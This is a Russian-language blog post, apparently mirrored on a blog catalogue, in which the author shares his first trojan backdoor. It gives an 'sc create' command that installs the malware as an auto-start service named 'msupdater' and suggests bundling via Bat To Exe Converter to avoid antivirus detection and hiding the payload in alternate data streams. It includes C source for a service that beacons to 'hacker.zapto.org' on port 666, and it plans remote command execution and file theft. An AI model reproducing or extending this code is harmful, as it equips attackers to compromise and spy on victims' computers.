Сегодня 29 января, среда ГлавнаяНовостиО проектеЛичный кабинетПомощьКонтакты Сделать стартовойКарта сайтаНаписать администрации
Поиск по сайту
 
Ваше мнение
Какой рейтинг вас больше интересует?
 
 
 
 
 
Проголосовало: 7278
Кнопка
BlogRider.ru - Каталог блогов Рунета
получить код
Dreigan
Dreigan
Голосов: 1
Адрес блога: http://school-programmer.blogspot.com/
Добавлен: 2012-09-08 22:59:43
 

Мой первый зверек

2012-09-08 20:59:00 (читать в оригинале)

Я всегда делаю несколько дел одновременно, и в данный момент одно из них - мой первый бекдорчик.  Он еще не закончен, есть только идея и каркас, которыми я с вами и поделюсь. Принцип такой: есть прекрасная програмка Bat To Exe Converter (гугл находит без проблем). И она позволяет сделать из батника exe, да еще и впихнуть в него пару других, файлов, которые будут потом извлечены. Т.к. этот функционал вполне безобиден, антивирусники на сие чудо не гавкают. И отлично - решил я и потер руки. Ни для кого не секрет, что службы не видно в автозапуске и в диспечере процессов, что очень удобно для злобных вирусов. Впихнуть же службу в windows позволяет стандартная программка все той же ОС, и имя ей sc. Запускаем ее так:
sc create msupdater binPath= %Windir%\System32\msupdater.exe start= auto

И все готово. Склеиваем батник с нашим детищем и вуаля - скрытие процесса без гемороя с руткитами по силам даже школьнику. Еще один вариант: пишем вмето батника программу, запускающую тот же sc и извлекающую из своих ресурсов вирус, после чего запихиваем вирус ей в альтернативный файловый поток. (Прочитать что такое файловый поток и скачать прогу для работы с ними можно тут)

Вирус мы замаскировали, осталось его написать, чем я, собственно, и занят. Вот уже написаный код:

#include <winsock2.h>
#define SLEEP_TIME 5000
#define PORT 666
#define SERVERADDR "hacker.zapto.org"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ControlHandler(DWORD request)
{
     switch(request)
     {
          case SERVICE_CONTROL_STOP:                                            //OnStop
               ServiceStatus.dwWin32ExitCode = 0;
               ServiceStatus.dwCurrentState = SERVICE_STOPPED;
               SetServiceStatus (hStatus, &ServiceStatus);
               return;
          case SERVICE_CONTROL_SHUTDOWN:                                        //OnShutdown
               ServiceStatus.dwWin32ExitCode = 0;
               ServiceStatus.dwCurrentState = SERVICE_STOPPED;
               SetServiceStatus (hStatus, &ServiceStatus);
               return;
          default:
               break;
     }
     // Report current status
     SetServiceStatus (hStatus, &ServiceStatus);
     return;
}

int InitService()                                                              //OnInit
{
    //init
    return(0);
}
void ServiceMain(int argc, char** argv)
{
     int error;
     ServiceStatus.dwServiceType = SERVICE_WIN32;
     ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
     ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
     ServiceStatus.dwWin32ExitCode = 0;
     ServiceStatus.dwServiceSpecificExitCode = 0;
     ServiceStatus.dwCheckPoint = 0;
     ServiceStatus.dwWaitHint = 0;
     hStatus = RegisterServiceCtrlHandler("MemoryStatus",(LPHANDLER_FUNCTION)ControlHandler);
    
     if (hStatus == (SERVICE_STATUS_HANDLE)0)
     {
            // Registering Control Handler failed
            return;
     }
     // Initialize Service
     error = InitService();
    
     if (error != 0)
     {
            // Initialization failed
            ServiceStatus.dwCurrentState =
            SERVICE_STOPPED;
            ServiceStatus.dwWin32ExitCode = 1;
            SetServiceStatus(hStatus, &ServiceStatus);
            return;
     }
    
     // We report the running status to SCM.
     ServiceStatus.dwCurrentState =
     SERVICE_RUNNING;
     SetServiceStatus (hStatus, &ServiceStatus);
     MEMORYSTATUS memory;
    
     // The worker loop of a service
    
     while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING)                                     //MainLoop
     {
           //work
           try {
                    WSADATA WSAData;
                    SOCKET sock,acp;
                    int cercont,sockID,Bnd;
                    sockaddr_in to;
                    cercont=(WSAStartup(0x0202,&WSAData));
                    to.sin_family= AF_INET;
                    to.sin_port= htons(PORT);
                    if (inet_addr(SERVERADDR)!=INADDR_NONE)
                    {
                         to.sin_addr.s_addr = inet_addr(SERVERADDR);                                 
                    } else {
                         HOSTENT *hst;
                         hst=gethostbyname(SERVERADDR);
                         to.sin_addr.s_addr = inet_addr(hst->h_addr_list[0]);                              
                    }
                    sock=socket(AF_INET,SOCK_STREAM,0);
                    connect(sock,(struct sockaddr*)&to,sizeof(to));
               }
           catch(int i) {}
           Sleep(SLEEP_TIME);
     }
     return;
}
int main()
{
    FreeConsole();
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MemoryStatus";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    // Start the control dispatcher thread for our service
   StartServiceCtrlDispatcher(ServiceTable);
}
 Пояснения:

  • это не обычная программа, а служба, вот почему исходный код такой стремный)
  • hacker.zapto.org - это наш ip. (Сервис zapto.org позволяет для своего динамического ip получить постоянное dns имя, что удобно для троянца)
  • SLEEP_TIME - длина паузы в милисикундах (пауза нужна в цикле чтоб он не жрал все ресурсы процессора)
  • PORT - порт на вашем компе, который будет принимать соединение
  • InitService()  - выполнится при старте службы
  • case SERVICE_CONTROL_STOP - при остановке службы (нельзя удалять код, который уже здесь есть!!!)
  • while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING) - основной цикл службы
Про работу с сокетами я подробно обьяснять не буду т.к. много, долго и это уже сделали до меня и лучше меня. Если есть конкретные вопросы, задавайте.

В общем пока что трой успешно запускается и соединяется с клиентом, но после соединения ничего не делает. По плану он должен выполнять принятые команды в system() и отправлять ответ (своеобразный telnet). Плюс если команда начинается к примеру на "/wget", скачать указанный файл, а если на "/post", отправить его вам. Согласитесь, для удобного удаленного управления в telnet этого функционала сильно недостает.

Пока все, всем удачи)



 


Самый-самый блог
Блогер ЖЖ все стерпит
ЖЖ все стерпит
по сумме баллов (758) в категории «Истории»


Загрузка...Загрузка...
BlogRider.ru не имеет отношения к публикуемым в записях блогов материалам. Все записи
взяты из открытых общедоступных источников и являются собственностью их авторов.